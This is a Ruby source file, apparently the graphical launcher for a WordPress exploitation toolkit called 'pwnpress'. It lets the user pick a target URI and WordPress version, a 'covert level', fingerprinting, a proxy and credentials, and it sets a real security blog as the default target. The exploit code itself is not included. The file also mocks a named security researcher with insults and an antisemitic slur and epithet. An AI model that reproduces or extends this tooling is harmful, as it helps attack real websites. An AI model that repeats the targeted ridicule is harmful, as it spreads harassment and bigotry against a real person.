Explore responsibly, for knowledge is power!

# Copyright (c) 2007 Lance M. Havok <lmh [at] info-pull.com>. All Rights Reserved.
# Exploits R' Us: bringing the amazing world of exploitation toys to your mom.
# Please read http://www.info-pull.com/code/DISCLAIMER for licensing terms.

begin
    require 'pwnpress'
    require 'rubygems'
    require 'fox16'
    include Fox
rescue
    puts "Need rubygems, fxruby and pwnpress!"
    exit
end

# gif streams free of evil, no infinite gif parsing advisories for you
THE_EVIL_RABBI = "\x47\x49\x46\x38\x39\x61\x30\x00\x30\x00\xd5\x37\x00\x1d" +
"\x1d\x1d\x47\x49\x49\xec\xf2\xf1\x29\x29\x29\x38\x38\x38" +
"\xe5\xd2\x52\x3f\x3f\x3f\x25\x25\x25\xbd\xca\xb8\x6e\x71" +
"\x71\x64\x56\x15\x35\x4d\xc8\xaa\xb8\xa5\xff\xf2\x9b\x87" +
"\x8a\x89\x4c\x42\x00\x45\x49\x44\x92\x9d\x8e\x43\x43\x43" +
"\x97\xa1\x93\x8d\x82\x33\x18\x1c\x17\xad\x9f\x3e\x28\x28" +
"\x28\x81\x77\x2e\x94\x98\x97\x00\x00\x00\x7e\x8b\x9b\x1f" +
"\x2d\x76\x90\x9c\x8c\x69\x6f\x67\x4b\x4b\x4b\x90\x9a\x8c" +
"\x42\x42\x42\x0c\x1a\x0b\x67\x6e\x64\x86\x86\x86\xb1\xbb" +
"\xae\xba\xba\xba\x5a\x5a\x5a\x0d\x0e\x28\x89\x8d\x8d\x64" +
"\x6c\x61\xab\xab\xab\x34\x3a\x32\x88\x75\x1d\x15\x19\x13" +
"\x92\xa0\xb2\x21\x33\x1f\x21\x21\x21\x3a\x42\x4c\x6f\x77" +
"\x81\x4c\x58\x51\x31\x31\x31\x09\x0a\x1c\xff\xff\xff\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21\xf9\x04\x01\x00" +
"\x00\x37\x00\x2c\x00\x00\x00\x00\x30\x00\x30\x00\x00\x06" +
"\xff\xc0\x9b\x70\x48\x2c\x1a\x8f\xc8\xa4\x72\xc9\x6c\x3a" +
"\x9f\xd0\xa8\x74\x4a\xad\x5a\xaf\xd8\xac\x76\xcb\xed\x7a" +
"\xbf\xe0\x29\x80\x30\x28\x9b\x07\x21\x40\x98\x38\x3e\x9f" +
"\x43\x6b\x61\xdb\xfd\x8e\x03\xee\xf8\x3c\xde\x3b\x20\xf8" +
"\xff\x80\x81\x82\x04\x5a\x7a\x86\x87\x7b\x5d\x01\x1b\x34" +
"\x14\x14\x16\x8e\x91\x16\x01\x20\x01\x61\x01\x1d\x33\x16" +
"\x05\x9c\x9d\x05\x16\x32\x95\x97\x1d\x18\x9b\x05\x25\xa7" +
"\x9c\x0d\x0f\x1d\x96\x60\x01\x0c\x18\x10\xb3\x10\x05\xb4" +
"\x10\xac\xae\x5f\xb0\x18\x02\x36\x02\x18\x9f\xbe\x02\x0f" +
"\x0c\xba\x5e\xbc\x05\x0d\x0d\x18\x0d\xca\xcb\xc5\xc7\x8a" +
"\x0c\x1e\xa6\x0f\xd7\x9d\xd1\x97\xc6\x1e\x1e\x08\xdf\xdf" +
"\x1b\x1e\x2a\xc6\xdb\x01\x29\x29\x1a\xea\xea\xdf\x2a\xa2" +
"\xaf\x11\x01\x23\x08\x2f\xe0\xe1\x23\xf1\x6b\x01\x2e\x01" +
"\x11\x13\x13\xdf\x22\x6c\x88\x30\x42\x1a\x97\x5f\x02\x1c" +
"\x88\x58\x04\x10\x41\x84\x08\x0e\x3e\x08\x10\x70\xc1\x8b" +
"\x8d\x04\x13\x13\x2e\xfc\xe7\x50\x84\x83\x8c\x24\x2a\x6e" +
"\xb1\x51\x83\xc3\x82\x93\x0e\x1c\xb0\xf8\x37\x01\x46\x0c" +
"\x93\x27\x3f\x84\xdc\x82\xa2\xe4\xc9\x05\x12\x32\x08\x38" +
"\x70\x60\xa2\x0d\xa9\x98\x0b\x6a\x7c\xb0\x41\xb3\x06\xc6" +
"\x89\x12\x1c\x64\xe0\x99\xc1\xc1\xc5\x8c\x35\x0c\x10\xd5" +
"\x42\xf2\xa8\x80\x1a\x39\x99\x3a\x90\x60\xf5\x82\xd4\x91" +
"\x46\x13\x88\xad\x81\xd5\xc6\x01\x1b\x12\xc2\x8a\xb5\x71" +
"\x61\x6a\x16\x92\x52\xcd\x92\x2d\x9b\x76\xee\x59\xb6\x6e" +
"\xb1\xc0\xb5\x21\x77\x2e\xc9\xb9\x35\xee\x7a\xd5\xa2\xe0" +
"\x84\x89\x15\x66\x0f\x00\xfe\x6b\xd7\x86\xe1\x15\x0a\xb2" +
"\x28\x50\xa5\x80\xaf\xe5\xcb\x98\x5b\x28\x8b\x2c\x59\x81" +
"\x67\xb3\x06\x42\x8b\x1e\x6d\xc3\xb3\xe7\x2f\x7d\x6b\x58" +
"\x9e\xfb\x75\x4d\x6a\xa2\x8c\x5b\x87\x79\x7d\x23\x76\x5e" +
"\xd4\x8a\xc9\xc2\x66\x7d\xdb\x4b\x85\xdc\xaa\x6f\x54\xe0" +
"\x1d\xe7\xb7\x5f\xe1\xc4\x67\x63\xae\x50\x7b\xb9\xf2\xcb" +
"\xcc\x31\xf3\x85\x12\x04\x00\x3b"

THE_REAL_HERO = "\x47\x49\x46\x38\x39\x61\x30\x00\x30\x00\xe6\x41\x00\x06" +
"\x0b\x22\x28\x00\x00\x1a\x38\xa6\x27\x51\xf6\x1e\x3e\xbd" +
"\x1b\x3a\xaf\xfa\x00\x00\x18\x33\x99\x15\x2d\x88\xf4\x5f" +
"\x5f\x26\x38\x7d\x26\x4f\xf0\x20\x42\xca\xc8\xa0\x8b\xb5" +
"\x7f\x62\xc5\xad\x0f\x0b\x17\x46\xb4\x0d\x0d\x30\x04\x04" +
"\xf3\xd5\x13\xac\x10\x10\xa9\x94\x0d\x3a\x26\x1c\xa2\x6a" +
"\x4d\xff\xff\xff\x5e\x08\x08\x45\x66\xe2\xff\x53\x53\x25" +
"\x03\x03\x44\x06\x06\xdd\xb1\x9a\x02\x04\x0b\x75\x91\xff" +
"\x1e\x3e\xbe\x60\x78\xd3\xd1\x00\x00\xea\x11\x11\xa5\x0c" +
"\x0c\x8a\xa0\xf6\x61\x07\x07\x91\xa5\xee\xdb\xe1\xf9\xb0" +
"\x00\x00\x76\x89\xd3\xe6\x15\x15\xe5\xd2\xc8\x24\x4b\xe6" +
"\x3c\x5d\xdb\xc7\x9f\x89\x75\x4d\x38\xe5\xd3\xc8\xc1\x94" +
"\x7d\xff\xcc\xb2\x85\x57\x3f\xc8\xa1\x8b\xc1\x95\x7d\xc7" +
"\xa1\x8c\x23\x4a\xe1\xff\x81\x81\x1c\x3a\xb2\xb4\x80\x63" +
"\x3d\x42\x66\x6a\x84\xe8\x08\x12\x36\x22\x47\xd9\xff\xff" +
"\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x41\x00\x2c" +
"\x00\x00\x00\x00\x30\x00\x30\x00\x00\x07\xff\x80\x41\x82" +
"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x93" +
"\x00\x3f\xa1\x3f\x9e\x8b\xa1\x22\xa7\x3e\x29\xa1\xa4\x87" +
"\x3f\x22\x3e\x40\x40\x2e\x2e\x40\xa9\xa3\xac\x83\x3f\xb0" +
"\xb1\xbc\xbc\xaa\xb8\x41\xba\x40\x0a\xc4\xbc\xc4\x0a\x40" +
"\xb7\xac\x3f\xc3\x28\x18\x28\xc8\x0a\xce\xd0\x26\xca\x9d" +
"\x00\xb0\x0a\x18\x1f\x18\x3d\xc4\xdb\x18\x0a\x3e\xd5\xa4" +
"\xcc\xb1\xc5\x08\x37\x08\xc3\xc8\x40\x0b\xd6\x9a\xc2\xbd" +
"\x08\x17\x33\x32\xeb\xbc\x0b\x20\xf0\x96\x00\xa0\xbb\xb1" +
"\x10\x38\xb8\xe0\xa1\x85\x07\x7c\xee\x7c\xac\xba\xe4\xcf" +
"\x87\x42\x80\x02\x07\x62\x68\xd1\x00\x06\xbe\x05\x0a\xab" +
"\xf1\x7b\x84\x0d\x96\x00\x79\x11\x1d\x58\x18\xd9\xa0\x81" +
"\x8d\x75\x18\x99\x99\xc0\xb0\xd0\x51\x80\x97\x00\x3f\xc2" +
"\x42\xd0\xc0\x41\x8c\x81\x17\x2e\x34\xa8\xd1\x00\x07\x82" +
"\x94\x0e\x7d\x80\x00\xf1\x32\x00\xa3\x00\x1b\x36\x18\x00" +
"\x72\xe0\x40\x01\x20\x32\x81\x08\x1c\x49\x95\x24\x82\x17" +
"\x3e\x00\xf4\xaa\xb5\x41\x07\x06\xa3\x8b\x02\x18\xd8\xe0" +
"\x0f\xc8\x53\xa8\x1f\x16\x44\xcc\x79\x81\x86\xce\x06\x08" +
"\xff\xb2\xc6\xc2\x78\x20\x94\x01\x03\x60\x8f\x1a\x95\x00" +
"\xe0\xac\x00\x00\x6a\x79\x38\x70\xd0\xc0\x83\xe1\x92\x71" +
"\x3f\xcc\x05\x01\x40\xd0\xcb\x48\x12\x28\x00\xd0\x50\xe0" +
"\x29\x36\xb5\x83\x4b\x96\x3c\xb8\x00\x88\xe2\x5a\x0b\x00" +
"\x74\x98\x14\x19\x80\x53\xca\x50\x01\x88\x88\x15\xd4\x61" +
"\x2d\xcf\x02\xe6\xea\x13\x0d\x99\x82\x01\xd3\x95\x29\x17" +
"\xf8\x28\xaa\xb7\xa8\xd8\x2b\x58\x87\x36\x30\xda\x51\x64" +
"\x03\x19\x70\xa3\x06\x02\xa1\x82\xf3\xe7\xd0\x2b\x40\x18" +
"\x30\x60\xc5\x80\x5a\xfb\x88\x1b\x1f\x91\xfc\x00\x90\xe5" +
"\xcc\x1f\x4c\x78\xf0\x80\x82\x79\xf2\xe3\x21\xe4\xa0\x6e" +
"\xbd\xd6\x0f\xed\x8c\x8e\x77\x47\x4d\x80\x00\x83\x10\x10" +
"\xc4\x4f\x60\x31\xa1\x7f\x7a\xea\x00\x52\xa7\x10\x7c\x8b" +
"\x48\x30\x02\x72\xa6\xd1\x67\xdf\x7d\xf9\xed\xc7\x02\x05" +
"\xe9\xf5\xb2\x00\x80\x03\x12\x88\x48\x64\x14\x64\x30\xdf" +
"\x53\xf5\x31\xc0\x00\x10\xf8\x95\xd7\xdf\x03\x10\x6c\x05" +
"\x04\x85\xef\x49\xd0\x88\x04\x12\x68\x88\xdb\x0e\x1e\x7e" +
"\xc8\x4b\x88\x11\x9a\x88\xa2\x8a\x8f\xb4\x88\x1b\x10\x0b" +
"\x6e\x15\x62\x89\x26\xc6\x22\xe0\x46\x05\xee\xd8\xa3\x8f" +
"\x40\x06\x79\xe2\x91\x00\x0a\x7d\xe2\x14\x8f\x32\x2a\xa9" +
"\x24\x8a\x4e\x72\xe8\xa1\x94\x41\x52\x47\x00\x93\x44\x32" +
"\xd2\x57\x6c\xf6\xd5\x27\xe6\x98\x64\x8e\x29\x40\x93\x94" +
"\x98\x06\x95\x00\x6c\xb6\xe9\xe6\x9b\x6f\xc2\xd2\x65\x23" +
"\x1c\x94\x40\x42\x02\x78\xe6\xa9\xe7\x9e\x7b\x92\xc0\x01" +
"\x26\x75\x92\x10\xc1\xa0\x84\x9e\x30\x68\x09\x86\x12\x4a" +
"\xa8\x9f\x9a\xd4\x19\xe4\x09\x1c\x9c\x10\x24\xa3\x9b\x98" +
"\x06\x50\x2c\x8d\x69\xb5\x55\x56\x9e\xa8\xc9\xcb\x01\x99" +
"\x7a\xc7\x0b\xa7\xa4\x20\x75\x97\x0a\x79\x05\xa0\xc2\x81" +
"\x1b\xe4\xd5\x09\x52\x07\xa2\x5a\x48\x00\x07\x8e\xe5\xea" +
"\x26\x45\x15\x35\x6b\xae\xb7\x2a\x12\x08\x00\x3b"

HERE_COMES_MRBEAR = "\x47\x49\x46\x38\x39\x61\x1d\x00\x20\x00\xf7\x00\x00\x6b" +
"\x29\x5a\x63\x52\x84\x8c\x29\x4a\x8c\x39\x4a\xad\x42\x4a" +
"\xa5\x5a\x5a\xbd\x73\x52\xc6\x6b\x4a\xe7\x42\x52\xff\x7b" +
"\x4a\xf7\xbd\x31\xef\x9c\x6b\xf7\x8c\x6b\xff\xe7\x7b\xad" +
"\xb5\xff\xce\xff\xff\xff\xff\xff\xf7\xbd\x31\x00\x00\x00" +
("\x00" * 700) +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21\xf9\x04" +
"\x01\x00\x00\x11\x00\x2c\x00\x00\x00\x00\x1d\x00\x20\x00" +
"\x00\x08\xfe\x00\x23\x08\x14\x08\xa0\xe0\xc0\x83\x08\x13" +
"\x2a\x8c\x50\xd0\xe0\xc0\x86\x00\x16\x2e\x84\x68\x10\x40" +
"\x01\x03\x18\x0b\x38\x6c\x28\x91\x62\x41\x03\x0c\x42\x66" +
"\xd4\x48\x51\xa1\xc7\x82\x21\x53\x1a\x20\xe9\xb1\x23\xc5" +
"\x94\x0c\x0c\x9c\x8c\xe8\x12\xa2\xca\x99\x0e\x13\x5a\x64" +
"\xc0\x12\xa4\xcc\x86\x2b\x0b\x68\xec\x58\x20\xa4\x83\x07" +
"\x0e\x3e\x36\x74\x20\x52\xe8\x50\x85\x45\x19\x1c\x45\x5a" +
"\x50\xe3\xd4\x07\x4d\x9f\x22\x04\x00\x92\xc1\x03\x08\x0d" +
"\x85\x36\x84\x00\x01\x2b\x4f\xb1\x09\xa3\x3a\x20\x5b\x35" +
"\x26\x49\xb2\x10\x98\x06\xa5\xf9\xb0\xeb\x5a\xb0\x5c\x45" +
"\x16\x84\xcb\xf4\xac\xd6\x08\x17\x8d\xc2\x85\x00\xf3\x2b" +
"\xdf\xac\x74\x77\xa6\x9c\xda\x57\x30\xd9\xc6\x7e\x69\xe6" +
"\x85\x49\x59\xa4\x83\xcb\x94\xe7\x0a\x0c\x1c\xa0\xef\xca" +
"\x93\x81\x61\x06\x1d\xca\x19\x42\x00\x8d\x02\x52\xab\x4e" +
"\x6d\x11\xa4\x83\x00\x6e\xd1\xb6\xee\xfc\x20\x00\x01\x02" +
"\x08\x72\x23\xb8\xad\x1a\x40\x00\xd3\x23\x87\x5a\x14\x1a" +
"\x20\x80\x00\xdc\xba\x75\xf3\x0e\x80\x34\xc0\xe8\xa7\x55" +
"\xc5\xe2\xac\x5a\xdc\x29\xda\x08\x02\x12\x24\x40\x20\x00" +
"\xa2\x50\x8c\xe0\xad\x6f\x5b\xdf\x98\x60\xc1\x82\xed\x00" +
"\x0e\x98\x5f\x70\x60\x3a\xc7\x87\x00\x04\x20\xd0\x8e\x00" +
"\xc0\x82\x06\xf8\xf3\xe3\x3f\xc0\x7f\x00\xdd\x83\xf1\xb1" +
"\x36\x9f\x7d\xfa\xe9\xc7\x5f\x80\x02\x98\xd4\x5b\x7d\xea" +
"\x15\xd8\x00\x7b\xf1\xe9\x96\xa0\x4e\xf1\x55\x08\xc0\x00" +
"\xf7\xe1\x67\x5e\x7b\xf2\x69\xa7\xdd\x84\x14\xfe\xc7\xdf" +
"\x01\x03\xf8\x17\xa1\x76\xe7\x25\x00\xa2\x44\x1d\x75\xe8" +
"\x61\x7d\x2c\xc6\x78\xe2\x76\xdd\xc5\x28\x23\x82\x35\xda" +
"\x78\x63\x4e\x01\x01\x00\x3b"

THE_POWER_HEAD = "\x47\x49\x46\x38\x39\x61\x30\x00\x30\x00\xd5\x32\x00\x00" +
"\x47\x65\x93\xba\x86\x16\x86\x94\x34\x34\x1a\x48\x1a\x29" +
"\x08\x5f\x77\x7d\x80\xb1\x2f\x2f\x66\xcc\xd3\x7d\x26\x34" +
"\x38\x46\x45\x68\x58\x73\x62\x34\x47\x4d\x24\xae\xb1\x4c" +
"\x4c\x50\xa5\xa6\xd5\x01\x37\x7a\xc7\xc6\xcc\xab\xae\xb2" +
"\xf0\x6d\x5c\xcd\xcc\xd1\x55\x57\x8b\xfb\xfb\x20\xf8\xfb" +
"\xff\x47\x48\x5b\xa9\xaf\x6e\x77\x7a\x8c\x2e\x2d\x5a\xb8" +
"\xb9\xe7\xd5\xd3\xd5\xb5\xb4\xbe\x4c\x4e\x6b\x6c\x70\x46" +
"\x9c\x39\x5a\x6b\x6b\x86\xa9\x28\x3a\x8a\x89\x9d\xac\x99" +
"\x53\x1f\x7e\xc7\x00\x00\x32\x4f\x4b\x64\xdd\xe0\xeb\xff" +
"\x74\x76\x7b\x9c\x70\xff\x48\x48\xac\xac\x1e\x42\x59\x56" +
"\x97\x95\xaf\xf2\xef\xec\xaf\xb1\xde\xff\xff\xff\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21\xf9\x04\x01\x00" +
"\x00\x32\x00\x2c\x00\x00\x00\x00\x30\x00\x30\x00\x00\x06" +
"\xff\x40\x99\x70\x48\x2c\x1a\x8f\xc8\xa4\x72\xc9\x6c\x3a" +
"\x9f\xd0\xa8\x74\x4a\xad\x5a\xaf\xd8\xac\x76\xcb\x15\x36" +
"\xba\x51\x40\xe1\x0b\x6e\x8a\x05\x0d\x72\x39\x29\x2e\x14" +
"\xd0\xea\x2d\x60\x7e\x1c\x38\xee\xf8\xbb\x71\x4e\x0f\x0b" +
"\xfe\x7d\x42\x03\x1e\x30\x85\x86\x30\x1e\x0e\x43\x73\x69" +
"\x69\x00\x52\x67\x68\x74\x83\x87\x95\x89\x32\x00\x7f\x7f" +
"\x0d\x8f\x53\x91\x8e\x03\x11\x1e\x14\xa4\x95\x30\x0e\x73" +
"\x6f\x68\x05\x55\x6d\x9b\x0d\x02\x11\xa6\x87\xa8\x9a\x02" +
"\x05\x9d\x54\xae\x9a\x11\x24\xa4\x14\x12\xbe\xa5\xb7\x9a" +
"\xb8\x57\x6d\x6e\x6f\x11\x1a\x29\x17\x17\x12\xcc\xce\x30" +
"\xb6\x02\xb9\x56\xc8\x28\x00\xcb\x12\x27\xcf\x1a\xdc\x17" +
"\xd3\x28\x80\x72\x6e\x03\xda\xdf\x12\xde\x12\xea\x85\x03" +
"\xd5\x5d\x62\xa1\xbd\x1f\x1f\x23\x2c\x2a\xf5\x1f\x85\x6e" +
"\xd6\x59\xf2\x03\x32\x44\x88\x90\x61\x84\xc1\x0c\x86\x06" +
"\x18\x03\x33\x27\x60\x06\x04\x10\x23\x22\x78\x78\xce\x1f" +
"\x97\x80\x08\x06\x68\xdc\x38\x00\xe2\x80\x35\x43\x06\x80" +
"\x90\x48\x12\xc4\x47\x90\x32\x0e\x1c\x18\x49\x12\x01\x88" +
"\x03\x27\xc1\xa8\x3c\x50\xa1\x26\x86\x9b\x38\x31\x0c\xa8" +
"\x30\xf3\x00\x97\xf0\x03\x06\x1e\xc4\x88\x51\xc1\x00\x04" +
"\x13\x47\x93\x1a\xa8\x10\x83\x83\x53\x9f\x5a\x0e\x3c\x98" +
"\x3a\xb4\x02\x84\xab\x58\x21\x30\x1d\xda\x14\x2a\x16\xa0" +
"\x42\x83\x72\x8d\x61\xa0\xec\xd8\x18\x2f\x86\x72\xf0\x6a" +
"\x05\xe8\xd0\xb2\x42\xcf\x8e\x35\xb0\xc1\xc0\x50\xb6\x55" +
"\x7a\x02\x15\x2b\x97\x2c\xdd\x0d\x80\xf1\x52\x19\x50\xc2" +
"\xc2\x80\xbd\x71\xfb\x96\x1d\x60\xc1\x70\x16\xc2\x86\x11" +
"\xf7\x7d\x6b\x80\xb1\x63\x2c\x90\x0f\xc3\x9d\xec\x77\x40" +
"\x8b\xcb\x57\x14\x88\x18\xad\x80\x81\xe9\xd3\xa8\x4f\x1f" +
"\x50\xc0\x5a\x41\x16\x05\x1d\x0a\x29\x48\xb0\x20\x80\xed" +
"\xdb\xb8\x13\xc0\x8e\xed\x1a\x0b\x6c\x18\x22\x66\xd7\xc6" +
"\x4d\x5c\xf7\xef\xde\xa1\x5b\xcb\xa0\xed\x62\x81\xf3\xe7" +
"\xce\x03\x24\x90\xd1\x1a\xf9\x16\xda\x0b\x52\x9b\x5e\x21" +
"\x1d\xe5\xf2\xe1\x2b\xa6\xd3\xbe\x3d\x1d\xe5\x78\xdb\xe2" +
"\x87\x77\x37\xaf\x3e\x3d\x79\xef\xe7\xbb\xc7\x2f\x5f\x86" +
"\x80\xfd\xfb\x04\xa6\xe3\xc7\x0f\x86\x40\x88\x10\x2a\x4c" +
"\x20\xe0\x04\x04\xc8\x40\xc0\x80\x02\xfe\x57\x20\x17\xfb" +
"\xf1\xd7\xe0\x7d\x4e\x04\x01\x00\x3b"

# Amazing Fortune Lunches
EVRONIAN_QUOTES = [
    "Buy me two lunches, INFOWAR INFOWAR! GRONF! ARABSAT HAXHAHAXHAXHAX YAHWEH!",
    "It's the perfect crime, both low-risk and high-profit.",
    "The war to make the Internet safe was lost long ago, and we need to figure out what to do now.",
    "It is obvious how the bad guys abuse this, and infect millions of computers just because their owners surf the net.",
    "Anyone up to doing some monkey fuzzing on that interface?",
    "Some training or awareness information on this subject distributed to your organizations could be very useful.",
    "Default passwords, especially in widely distributed devices, are bad.",
    "Buzzwords for FUD are generally a bad idea. Botnets are not terrorism. :P",
    # This one is 'real^2' fucking hilarious. cyber war, dude. fear, etc.
    "These cyber terrorism forums have a real connection to real terrorism.",
    "This connection between the real and virtual worlds when it comes to terrorism, is important.",
    # The egomaniac-lunatic-o-dramatic series
    "First, why do I think I'm expert enough on this subject to comment?",
    "I've had the honour to serve in an Information Security capacity with the Israeli Military Intelligence corps.",
    "I've had the pleasure of being the chief defender (CISO) of the Israeli Government's Internet Security Operation.",
    "I've the incredible reality of establishing and running the Israeli Government CERT.",
    "I've had the unquestionable fun of coordinating security efforts of Israeli ISP's with joint incident response.",
    "Over a decade of experience in Information Security, while currently employed at Beyond Security.",
    # FUCK YEAH, MASS DESTRUCTION SOUNDS SO FUCKING COOL!
    "To our knowledge we have never been hacked.",
    "Real Information Warfare is considered a Non-conventional Weapon, much like with Weapons of Mass Destruction.",
    "Most botnet C&Cs are a compartmentalized group out of the whole, ... Much like a terrorism cell.",
    # He needs some real sex urgently, with humans if possible.
    "Wife or whore?", # how about asking yours? hehe, just kidding
    "cho cho cho cho all aboard the JewBus! boxing match!"
]

# update this array when new pwnpress.rb versions come out
SUPPORTED_VERSIONS = [ "auto", "2.2.2", "2.2", "2.1.3", "2.0.5", "1.5.1.3",
                       "1.5.1.1" ]

class String
    def stripfmt
        self.gsub!(/\t/, '')
        self.gsub!(/\n/, '')
        self.gsub!(/\n+/sm, " ")
        return self
    end
end
                       
class PwnFoxGui
    attr_reader :sound_pid
    
    def initialize(width = 660, height = 500)
        @pwnApp  = FXApp.new()
        @mainWin = FXMainWindow.new(@pwnApp, "ALERT TERRORIST ALERT PWNPRESS ALERT INFOWAR ALERT",
                                    :opts => DECOR_ALL|LAYOUT_FIX_WIDTH|LAYOUT_FIX_HEIGHT, :width => width,
                                    :height => height)
        @control = {}
        @options = {}
        
        @options[:version]    = FXDataTarget.new("auto")
        @options[:proxy_host] = FXDataTarget.new("localhost")
        @options[:proxy_port] = FXDataTarget.new(8118)
        @options[:target]     = FXDataTarget.new("http://blogs.securiteam.com/")
        @options[:username]   = FXDataTarget.new("")
        @options[:password]   = FXDataTarget.new("")
        @options[:covert_level] = 0
        @options[:table_prefix] = nil
        @options[:fingerprint] = true
        
        @sound_pid = nil
        
        self.draw_controls
    end
    
    def activate
        @pwnApp.create
        @mainWin.show(PLACEMENT_SCREEN)
        play_soundtrack
        @pwnApp.run
    end
    
    def draw_controls   
        rframe = FXVerticalFrame.new(@mainWin, LAYOUT_SIDE_RIGHT|LAYOUT_FILL_Y|PACK_UNIFORM_WIDTH)
        FXVerticalSeparator.new(@mainWin, LAYOUT_SIDE_RIGHT|LAYOUT_FILL_Y|SEPARATOR_GROOVE) 
        lframe = FXHorizontalFrame.new(@mainWin, LAYOUT_SIDE_LEFT| FRAME_NONE|LAYOUT_FILL_X|
                                       LAYOUT_FILL_Y|PACK_UNIFORM_WIDTH,
                                       :padding => 10)
        
        # right frame controls...
        boombutton = FXButton.new(rframe, "PWN IT!")
        boombutton.connect(SEL_COMMAND, method(:launchPwn))
        boombutton.icon = FXGIFIcon.new(@pwnApp, THE_POWER_HEAD)
        
        quit = FXButton.new(rframe, "POOOO!", nil, @pwnApp, FXApp::ID_QUIT)
        quit.icon = FXGIFIcon.new(@pwnApp, HERE_COMES_MRBEAR)
        
        infowar = FXButton.new(rframe, "INFOWAR!", nil, @pwnApp)
        infowar.icon = FXGIFIcon.new(@pwnApp, THE_EVIL_RABBI)
        infowar.connect(SEL_COMMAND) do |sender, selector, data|
            ret = evroni_fortune()
            while ret != MBOX_CLICKED_NO
                ret = evroni_fortune()
            end
            
            FXMessageBox.error(@pwnApp, MBOX_OK, "Gadi Evron is not amused",
                               "INFOWAR ON YOU! YOU EVIL HACKER! I AM AN HERO!")
        end
        covert_level = FXDataTarget.new(2)
        covert_level.connect(SEL_COMMAND) do
            case covert_level.value
                when 0
                    @options[:covert_level] = 2
                when 1
                    @options[:covert_level] = 1
                when 2
                    @options[:covert_level] = 0
            end
        end
        
        covertopt = FXGroupBox.new(rframe, "Covert level", GROUPBOX_TITLE_CENTER|FRAME_RIDGE)
        FXRadioButton.new(covertopt, "Low", covert_level, FXDataTarget::ID_OPTION+2)
        FXRadioButton.new(covertopt, "Medium", covert_level, FXDataTarget::ID_OPTION+1)
        FXRadioButton.new(covertopt, "High", covert_level, FXDataTarget::ID_OPTION)
        
        enableFinger = FXCheckButton.new(covertopt, "Enable fingerprinting")
        enableFinger.connect(SEL_COMMAND) do |sender, sel, checked|
            if checked or @options[:version].value == "auto"
                @options[:fingerprint] = true
            else
                @options[:fingerprint] = false
            end
        end
        
        copy = FXLabel.new(rframe, "Copyright (c) 2007\nLance M. Havok.\n" +
                    "<lmh [at] info-pull.com>\nAll Rights Reserved.\n" +
                    "Icons from pixeljoint.com\n\nExploits 'R Us:\n" +
                    "Toys even your mom can use.", nil)
        copy.font = FXFont.new(@pwnApp, "System", 8)
        
        # Now the left frame(s)
        flayout = FXMatrix.new(lframe, 2, MATRIX_BY_ROWS|LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) 
        
        targetopt = FXGroupBox.new(flayout, "Target settings", GROUPBOX_TITLE_CENTER|FRAME_RIDGE)
        urimatrix = FXMatrix.new(targetopt, 2, MATRIX_BY_COLUMNS|LAYOUT_FILL_X)
        FXHorizontalSeparator.new(targetopt, SEPARATOR_GROOVE|LAYOUT_FILL_X)
        secmatrix = FXMatrix.new(targetopt, 2, MATRIX_BY_COLUMNS|LAYOUT_FILL_X)
        moreopt   = FXGroupBox.new(secmatrix, "Optional", GROUPBOX_TITLE_CENTER|FRAME_RIDGE)
        proxyopt  = FXGroupBox.new(secmatrix, "Proxy settings", GROUPBOX_TITLE_CENTER|FRAME_RIDGE)
        optmatrix = FXMatrix.new(moreopt, 2, MATRIX_BY_COLUMNS|LAYOUT_FILL_X)
        proxymatrix = FXMatrix.new(proxyopt, 2, MATRIX_BY_COLUMNS|LAYOUT_FILL_X)
        
         
        # Required settings
        FXLabel.new(urimatrix, "URI (with WP path):", nil)
        FXTextField.new(urimatrix, 36, @options[:target], FXDataTarget::ID_VALUE,
        FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_ROW)
        
        FXLabel.new(urimatrix, "Target version:", nil)
        versionbox = FXListBox.new(urimatrix, @options[:version], FXDataTarget::ID_VALUE,
        LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, 0, 0, 200, 0)
        
        SUPPORTED_VERSIONS.each do |v|
            i = versionbox.appendItem(v)
        end
        
        versionbox.connect(SEL_COMMAND) do |sender, sel, clicked|
            @options[:version].value = versionbox.getItemText(clicked)
        end
        
        # Optional settings
        FXLabel.new(optmatrix, "Username:", nil)
        FXTextField.new(optmatrix, 12, @options[:username], FXDataTarget::ID_VALUE,
        FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_ROW)
        
        FXLabel.new(optmatrix, "Password:", nil)
        FXTextField.new(optmatrix, 12, @options[:password], FXDataTarget::ID_VALUE,
        FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_ROW|TEXTFIELD_PASSWD)
        
